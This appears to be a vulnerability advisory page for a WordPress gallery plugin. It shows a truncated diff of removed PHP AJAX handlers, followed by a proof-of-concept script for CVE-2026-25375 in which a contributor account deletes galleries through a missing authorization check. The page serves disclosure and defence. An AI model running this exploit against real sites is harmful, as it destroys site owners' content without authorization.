-            				$everlightbox = add_submenu_page('ftg-lite-gallery-admin', __('FinalTiles Gallery >> EverlightBox', 'FinalTiles-gallery'), __('EverlightBox', 'FinalTiles-gallery'), 'edit_posts', 'ftg-everlightbox', array($this, 'everlightbox'));
-            				add_action('load-' . $everlightbox, array($this, 'gallery_admin_init'));
-            			}*/
-        }
-
-        //Create Admin Pages
-        public function add_overview() {
-            global $ftg_fields;
-            $ftg_fields = $this->fields;
-            global $ftg_parent_page;
-            $ftg_parent_page = 'dashboard';
-            if ( array_key_exists( 'id', $_GET ) ) {
-                $woocommerce_post_types = array(
-                    'product',
-                    'product_variation',
-                    'shop_order',
-                    'shop_order_refund',
-                    'shop_coupon',
-                    'shop_webhook'
-                );
-                $wp_post_types = array('revision', 'nav_menu_item');
-                $excluded_post_types = array_merge( $wp_post_types, $woocommerce_post_types );
-                $woo_categories = $this->getWooCategories();
-                include 'admin/edit-gallery.php';
-            } else {
-                include 'admin/overview.php';
-            }
-        }
-
-        public function tutorial() {
-            include 'admin/tutorial.php';
-        }
-
-        public function support() {
-            include 'admin/support.php';
-        }
-
-        public function photoblocks() {
-            include 'admin/photoblocks.php';
-        }
-
-        public function everlightbox() {
-            include 'admin/everlightbox.php';
-        }
-
-        private function getWooCategories() {
-            if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
-                $taxonomy = 'product_cat';
-                $orderby = 'name';
-                $show_count = 0;
-                // 1 for yes, 0 for no
-                $pad_counts = 0;
-                // 1 for yes, 0 for no
-                $hierarchical = 1;
-                // 1 for yes, 0 for no
-                $title = '';
-                $empty = 0;
-                $args = array(
-                    'taxonomy'     => $taxonomy,
-                    'orderby'      => $orderby,
-                    'show_count'   => $show_count,
-                    'pad_counts'   => $pad_counts,
-                    'hierarchical' => $hierarchical,
-                    'title_li'     => $title,
-                    'hide_empty'   => $empty,
-                );
-                return get_categories( $args );
-            } else {
-                return array();
-            }
-        }
-
-        public function add_gallery() {
-            global $ftg_fields;
-            $ftg_fields = $this->fields;
-            $gallery = null;
-            $woocommerce_post_types = array(
-                'product',
-                'product_variation',
-                'shop_order',
-                'shop_order_refund',
-                'shop_coupon',
-                'shop_webhook'
-            );
-            $wp_post_types = array('revision', 'nav_menu_item');
-            $excluded_post_types = array_merge( $wp_post_types, $woocommerce_post_types );
-            $woo_categories = $this->getWooCategories();
-            include 'admin/add-gallery.php';
-        }
-
-        public function delete_image() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $ids = ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );
-            foreach ( explode( ',', $ids ) as $id ) {
-                $this->FinalTilesdb->deleteImage( absint( $id ) );
-            }
-            wp_die();
-        }
-
-        public function assign_filters() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $gallery_id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $gallery_id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $ids = ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );
-            $filters = ( isset( $_POST['filters'] ) ? sanitize_text_field( wp_unslash( $_POST['filters'] ) ) : '' );
-            if ( isset( $_POST['source'] ) && $_POST['source'] == 'posts' ) {
-                foreach ( explode( ',', $ids ) as $id ) {
-                    update_post_meta( absint( $id ), 'ftg_filters', sanitize_text_field( $filters ) );
-                }
-            } else {
-                foreach ( explode( ',', $ids ) as $id ) {
-                    $result = $this->FinalTilesdb->editImage( absint( $id ), array(
-                        'filters' => sanitize_text_field( $filters ),
-                    ) );
-                }
-            }
-            wp_die();
-        }
-
-        public function toggle_visibility() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $gallery_id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $gallery_id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $ids = ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );
-            foreach ( explode( ',', $ids ) as $id ) {
-                $image = $this->FinalTilesdb->getImage( $id );
-                $this->FinalTilesdb->editImage( absint( $id ), array(
-                    'hidden' => ( $image->hidden == 'T' ? 'F' : 'T' ),
-                ) );
-            }
-            wp_die();
-        }
-
-        public function assign_group() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $gallery_id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $gallery_id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $ids = ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );
-            $group = ( isset( $_POST['group'] ) ? sanitize_text_field( wp_unslash( $_POST['group'] ) ) : '' );
-            if ( isset( $_POST['source'] ) && $_POST['source'] == 'posts' ) {
-                foreach ( explode( ',', $ids ) as $id ) {
-                    update_post_meta( intval( $id ), 'ftg_group', sanitize_text_field( $group ) );
-                }
-            } else {
-                foreach ( explode( ',', $ids ) as $id ) {
-                    $result = $this->FinalTilesdb->editImage( $id, array(
-                        'group' => sanitize_text_field( $group ),
-                    ) );
-                }
-            }
-            wp_die();
-        }
-
-        public function add_image() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !$this->FinalTilesdb->canUserEdit( $gallery_id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $gid = ( isset( $_POST['galleryId'] ) ? intval( $_POST['galleryId'] ) : 0 );
-            $enc_images = ( isset( $_POST['enc_images'] ) ? wp_unslash( $_POST['enc_images'] ) : '' );
-            // phpcs:ignore
-            $images = json_decode( $enc_images );
-            $result = $this->FinalTilesdb->addImages( $gid, $images );
-            header( 'Content-type: application/json' );
-            if ( $result === false ) {
-                echo '{"success":false}';
-            } else {
-                echo '{"success":true}';
-            }
-            wp_die();
-        }
-
-        public function list_thumbnail_sizes() {
-            global $_wp_additional_image_sizes;
-            $sizes = array();
-            foreach ( get_intermediate_image_sizes() as $s ) {
-                if ( in_array( $s, array('thumbnail', 'medium', 'large') ) ) {
-                    $sizes[$s][0] = get_option( $s . '_size_w' );
-                    $sizes[$s][1] = get_option( $s . '_size_h' );
-                } elseif ( isset( $_wp_additional_image_sizes ) && isset( $_wp_additional_image_sizes[$s] ) && $_wp_additional_image_sizes[$s]['width'] > 0 && $_wp_additional_image_sizes[$s]['height'] > 0 ) {
-                    $sizes[$s] = array($_wp_additional_image_sizes[$s]['width'], $_wp_additional_image_sizes[$s]['height']);
-                }
-            }
-            return $sizes;
-        }
-
-        public function sort_images() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $gallery_id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $gallery_id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $ids = ( isset( $_POST['ids'] ) ? sanitize_text_field( wp_unslash( $_POST['ids'] ) ) : 0 );
-            $result = $this->FinalTilesdb->sortImages( explode( ',', $ids ) );
-            header( 'Content-type: application/json' );
-            if ( $result === false ) {
-                echo '{"success":false}';
-            } else {
-                echo '{"success":true}';
-            }
-            wp_die();
-        }
-
-        public function load_chunk() {
-            require_once 'lib/gallery-class.php';
-            check_admin_referer( 'finaltilesgallery', 'finaltilesgallery' );
-            $gid = ( isset( $_POST['gallery'] ) ? intval( $_POST['gallery'] ) : 0 );
-            $images = $this->FinalTilesdb->getImagesByGalleryId( $gid, 0, 0 );
-            $FinalTilesGallery = new FinalTilesGallery($gid, $this->FinalTilesdb, $this->defaultValues);
-            echo $FinalTilesGallery->images_markup();
-            // phpcs:ignore
-            wp_die();
-        }
-
-        public function refresh_gallery() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $gallery_id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $gallery_id ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            if ( isset( $_POST['source'] ) && sanitize_text_field( wp_unslash( $_POST['source'] ) ) === 'images' ) {
-                $this->list_images();
-            }
-        }
-
-        public function save_image() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $result = false;
-            if ( isset( $_POST['source'] ) && $_POST['source'] === 'posts' ) {
-                $result = true;
-                $postId = ( isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0 );
-                $img_url = ( isset( $_POST['img_url'] ) ? esc_url_raw( $_POST['img_url'] ) : '' );
-                update_post_meta( $postId, 'ftg_image_url', esc_url_raw( $img_url ) );
-                if ( array_key_exists( 'filters', $_POST ) && strlen( sanitize_text_field( wp_unslash( $_POST['filters'] ) ) ) ) {
-                    update_post_meta( $postId, 'ftg_filters', sanitize_text_field( wp_unslash( $_POST['filters'] ) ) );
-                }
-            } else {
-                $type = ( isset( $_POST['type'] ) ? sanitize_text_field( wp_unslash( $_POST['type'] ) ) : '' );
-                $imageUrl = ( isset( $_POST['img_url'] ) ? esc_url_raw( $_POST['img_url'] ) : '' );
-                $imageCaption = ( isset( $_POST['description'] ) ? wp_kses_post( wp_unslash( $_POST['description'] ) ) : '' );
-                $filters = ( isset( $_POST['filters'] ) ? sanitize_text_field( wp_unslash( $_POST['filters'] ) ) : '' );
-                $title = ( isset( $_POST['imageTitle'] ) ? wp_kses_post( wp_unslash( $_POST['imageTitle'] ) ) : '' );
-                $target = ( isset( $_POST['target'] ) ? sanitize_text_field( wp_unslash( $_POST['target'] ) ) : '' );
-                $group = ( isset( $_POST['group'] ) ? sanitize_text_field( wp_unslash( $_POST['group'] ) ) : '' );
-                $alt = ( isset( $_POST['alt'] ) ? sanitize_text_field( wp_unslash( $_POST['alt'] ) ) : '' );
-                $hidden = $this->checkboxVal( 'hidden' );
-                $link = ( isset( $_POST['link'] ) ? esc_url_raw( wp_unslash( $_POST['link'] ) ) : null );
-                $imageId = ( isset( $_POST['img_id'] ) ? intval( wp_unslash( $_POST['img_id'] ) ) : 0 );
-                $sortOrder = ( isset( $_POST['sortOrder'] ) ? intval( wp_unslash( $_POST['sortOrder'] ) ) : 0 );
-                $data = array(
-                    'imagePath'   => $imageUrl,
-                    'target'      => $target,
-                    'link'        => $link,
-                    'imageId'     => $imageId,
-                    'description' => $imageCaption,
-                    'filters'     => $filters,
-                    'title'       => $title,
-                    'group'       => $group,
-                    'alt'         => $alt,
-                    'hidden'      => $hidden,
-                    'sortOrder'   => $sortOrder,
-                );
-                if ( !empty( $_POST['id'] ) ) {
-                    $imageId = intval( $_POST['id'] );
-                    $result = $this->FinalTilesdb->editImage( $imageId, $data );
-                } else {
-                    $data['gid'] = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-                    $result = $this->FinalTilesdb->addFullImage( $data );
-                }
-            }
-            header( 'Content-type: application/json' );
-            if ( $result === false ) {
-                echo '{"success":false}';
-            } else {
-                echo '{"success":true}';
-            }
-            wp_die();
-        }
-
-        public function save_video() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $result = false;
-            $type = ( isset( $_POST['type'] ) ? sanitize_text_field( wp_unslash( $_POST['type'] ) ) : '' );
-            $data = array(
-                "imagePath" => wp_unslash( $_POST["embed"] ),
-                'filters'   => ( isset( $_POST['filters'] ) ? sanitize_text_field( wp_unslash( $_POST['filters'] ) ) : '' ),
-                'gid'       => ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 ),
-            );
-            $id = ( isset( $_POST['id'] ) ? absint( $_POST['id'] ) : '' );
-            $step = ( isset( $_POST['step'] ) ? sanitize_text_field( wp_unslash( $_POST['step'] ) ) : '' );
-            if ( !empty( $step ) ) {
-                if ( $step == 'add' ) {
-                    $result = $this->FinalTilesdb->addVideo( $data );
-                } elseif ( $step == 'edit' ) {
-                    $result = $this->FinalTilesdb->editVideo( $id, $data );
-                }
-            }
-            header( 'Content-type: application/json' );
-            if ( $result === false ) {
-                echo '{"success":false}';
-            } else {
-                echo '{"success":true}';
-            }
-            wp_die();
-        }
-
-        public function list_images() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $gid = ( isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0 );
-            if ( !$this->FinalTilesdb->canUserEdit( $gid ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $imageResults = $this->FinalTilesdb->getImagesByGalleryId( $gid, 0, 0 );
-            $gallery = $this->FinalTilesdb->getGalleryById( $gid );
-            $list_size = 'medium';
-            $column_size = 's6 m3 l3';
-            if ( isset( $_POST['list_size'] ) && !empty( $_POST['list_size'] ) ) {
-                $list_size = sanitize_text_field( wp_unslash( $_POST['list_size'] ) );
-            }
-            setcookie( 'ftg_imglist_size', $list_size );
-            $_COOKIE['ftg_imglist_size'] = $list_size;
-            if ( $list_size == 'small' ) {
-                $column_size = 's4 m2 l2';
-            }
-            if ( $list_size == 'medium' ) {
-                $column_size = 's6 m3 l3';
-            }
-            if ( $list_size == 'big' ) {
-                $column_size = 's12 m4 l4';
-            }
-            include 'admin/include/image-list.php';
-            wp_die();
-        }
-
-        public function add_new_gallery() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $id = ( isset( $_POST['galleryId'] ) ? absint( $_POST['galleryId'] ) : 0 );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            $data = $this->defaultValues;
-            // phpcs:ignore
-            $data["name"] = ( isset( $_POST['ftg_name'] ) ? wp_kses_post( wp_unslash( $_POST['ftg_name'] ) ) : '' );
-            // phpcs:ignore
-            $data["author_id"] = ( isset( $_POST['ftg_gallery_author'] ) ? absint( $_POST['ftg_gallery_author'] ) : get_current_user_id() );
-            $data['description'] = ( isset( $_POST['ftg_description'] ) ? wp_kses_post( wp_unslash( $_POST['ftg_description'] ) ) : '' );
-            $data['source'] = ( isset( $_POST['ftg_source'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_source'] ) ) : '' );
-            $data['wp_field_caption'] = ( isset( $_POST['ftg_wp_field_caption'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_wp_field_caption'] ) ) : '' );
-            $data['wp_field_title'] = ( isset( $_POST['ftg_wp_field_title'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_wp_field_title'] ) ) : '' );
-            $data['captionEffect'] = ( isset( $_POST['ftg_captionEffect'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionEffect'] ) ) : '' );
-            $data['post_types'] = ( isset( $_POST['post_types'] ) ? sanitize_text_field( wp_unslash( $_POST['post_types'] ) ) : '' );
-            $data['layout'] = ( isset( $_POST['layout'] ) ? sanitize_text_field( wp_unslash( $_POST['layout'] ) ) : '' );
-            $data['defaultWooImageSize'] = ( isset( $_POST['def_imgsize'] ) ? sanitize_text_field( wp_unslash( $_POST['def_imgsize'] ) ) : '' );
-            $data['defaultPostImageSize'] = ( isset( $_POST['def_imgsize'] ) ? sanitize_text_field( wp_unslash( $_POST['def_imgsize'] ) ) : '' );
-            $data['woo_categories'] = ( isset( $_POST['woo_categories'] ) ? sanitize_text_field( wp_unslash( $_POST['woo_categories'] ) ) : '' );
-            $result = $this->FinalTilesdb->addGallery( $data );
-            $id = $this->FinalTilesdb->getNewGalleryId();
-            // phpcs:ignore
-            if ( $id > 0 && array_key_exists( 'enc_images', $_POST ) && strlen( wp_unslash( $_POST['enc_images'] ) ) ) {
-                $images = json_decode( wp_unslash( $_POST['enc_images'] ) );
-                $result = $this->FinalTilesdb->addImages( $id, $images );
-            }
-            echo absint( $id );
-            wp_die();
-        }
-
-        private function checkboxVal( $field ) {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            if ( !current_user_can( 'edit_posts' ) ) {
-                wp_die( 'Forbidden', 403 );
-            }
-            if ( isset( $_POST[$field] ) ) {
-                return 'T';
-            }
-            return 'F';
-        }
-
-        public function save_gallery() {
-            check_admin_referer( 'FinalTiles_gallery', 'FinalTiles_gallery' );
-            $id = ( isset( $_POST['ftg_gallery_edit'] ) ? absint( $_POST['ftg_gallery_edit'] ) : 0 );
-            if ( $id > 0 && !current_user_can( 'edit_others_posts' ) && !$this->FinalTilesdb->canUserEdit( $id ) ) {
-                // Update gallery
-                wp_die( 'Forbidden', 403 );
-            } elseif ( !current_user_can( 'edit_posts' ) ) {
-                // Create gallery
-                wp_die( 'Forbidden', 403 );
-            }
-            $galleryName = ( isset( $_POST['ftg_name'] ) ? wp_kses_post( wp_unslash( $_POST['ftg_name'] ) ) : '' );
-            $galleryDescription = ( isset( $_POST['ftg_description'] ) ? wp_kses_post( wp_unslash( $_POST['ftg_description'] ) ) : '' );
-            $slug = strtolower( str_replace( ' ', '', $galleryName ) );
-            $margin = ( isset( $_POST['ftg_margin'] ) ? absint( $_POST['ftg_margin'] ) : '' );
-            $minTileWidth = ( isset( $_POST['ftg_minTileWidth'] ) ? absint( $_POST['ftg_minTileWidth'] ) : '' );
-            $gridCellSize = ( isset( $_POST['ftg_gridCellSize'] ) ? absint( $_POST['ftg_gridCellSize'] ) : '' );
-            $imagesOrder = ( isset( $_POST['ftg_imagesOrder'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_imagesOrder'] ) ) : '' );
-            $width = ( isset( $_POST['ftg_width'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_width'] ) ) : '' );
-            $enableTwitter = $this->checkboxVal( 'ftg_enableTwitter' );
-            $filterClick = $this->checkboxVal( 'ftg_filterClick' );
-            $enableFacebook = $this->checkboxVal( 'ftg_enableFacebook' );
-            $enablePinterest = $this->checkboxVal( 'ftg_enablePinterest' );
-            $lightbox = ( isset( $_POST['ftg_lightbox'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_lightbox'] ) ) : '' );
-            $mobileLightbox = ( isset( $_POST['ftg_mobileLightbox'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_mobileLightbox'] ) ) : '' );
-            $blank = $this->checkboxVal( 'ftg_blank' );
-            $filters = ( isset( $_POST['ftg_filters'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_filters'] ) ) : '' );
-            $scrollEffect = ( isset( $_POST['ftg_scrollEffect'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_scrollEffect'] ) ) : '' );
-            $captionBehavior = ( isset( $_POST['ftg_captionBehavior'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionBehavior'] ) ) : '' );
-            $captionMobileBehavior = ( isset( $_POST['ftg_captionMobileBehavior'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionMobileBehavior'] ) ) : '' );
-            $captionEffect = ( isset( $_POST['ftg_captionEffect'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionEffect'] ) ) : '' );
-            $captionColor = ( isset( $_POST['ftg_captionColor'] ) ? sanitize_hex_color( wp_unslash( $_POST['ftg_captionColor'] ) ) : '' );
-            $captionBackgroundColor = ( isset( $_POST['ftg_captionBackgroundColor'] ) ? sanitize_hex_color( wp_unslash( $_POST['ftg_captionBackgroundColor'] ) ) : '' );
-            $captionEasing = ( isset( $_POST['ftg_captionEasing'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionEasing'] ) ) : '' );
-            $captionHorizontalAlignment = ( isset( $_POST['ftg_captionHorizontalAlignment'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionHorizontalAlignment'] ) ) : '' );
-            $captionVerticalAlignment = ( isset( $_POST['ftg_captionVerticalAlignment'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionVerticalAlignment'] ) ) : '' );
-            $captionEmpty = ( isset( $_POST['ftg_captionEmpty'] ) ? sanitize_text_field( wp_unslash( $_POST['ftg_captionEmpty'] ) ) : '' );
-            $captionOpacity = ( isset( $_POST['ftg_captionOpacity'] ) ? absint( $_POST['ftg_captionOpacity'] ) : '' );
-            $borderSize = ( isset( $_POST['ftg_borderSize'] ) ? absi

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25375 - Image Photo Gallery Final Tiles Grid <= 3.6.10 - Missing Authorization

<?php

$target_url = "https://vulnerable-site.com"; // CHANGE THIS
$username = "contributor_user"; // Contributor-level account
$password = "contributor_pass"; // Contributor password
$gallery_id = 1; // Target gallery ID to delete

// Step 1: Authenticate and obtain cookies/nonce
$login_url = $target_url . "/wp-login.php";
$ajax_url = $target_url . "/wp-admin/admin-ajax.php";

// Create cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 2: Login to WordPress
$postfields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
$response = curl_exec($ch);

// Step 3: Access gallery admin page to obtain nonce
// The nonce is typically available in the gallery listing page
$gallery_admin_url = $target_url . "/wp-admin/admin.php?page=ftg-lite-gallery-admin";
curl_setopt($ch, CURLOPT_URL, $gallery_admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from page (simplified - in reality would parse HTML)
// Nonce is typically in a JavaScript variable or data attribute
// For this PoC, we assume the attacker can obtain a valid nonce
$nonce = "VALID_NONCE_HERE"; // Replace with actual extracted nonce

// Step 4: Exploit the vulnerability - delete gallery
$exploit_payload = array(
    'action' => 'delete_gallery',
    'id' => $gallery_id,
    'FinalTiles_gallery' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$response = curl_exec($ch);

echo "Response: " . $response . "n";

// Step 5: Verify deletion
curl_setopt($ch, CURLOPT_URL, $gallery_admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, "Gallery ID $gallery_id") === false) {
    echo "SUCCESS: Gallery $gallery_id appears to be deletedn";
} else {
    echo "FAILED: Gallery may still existn";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School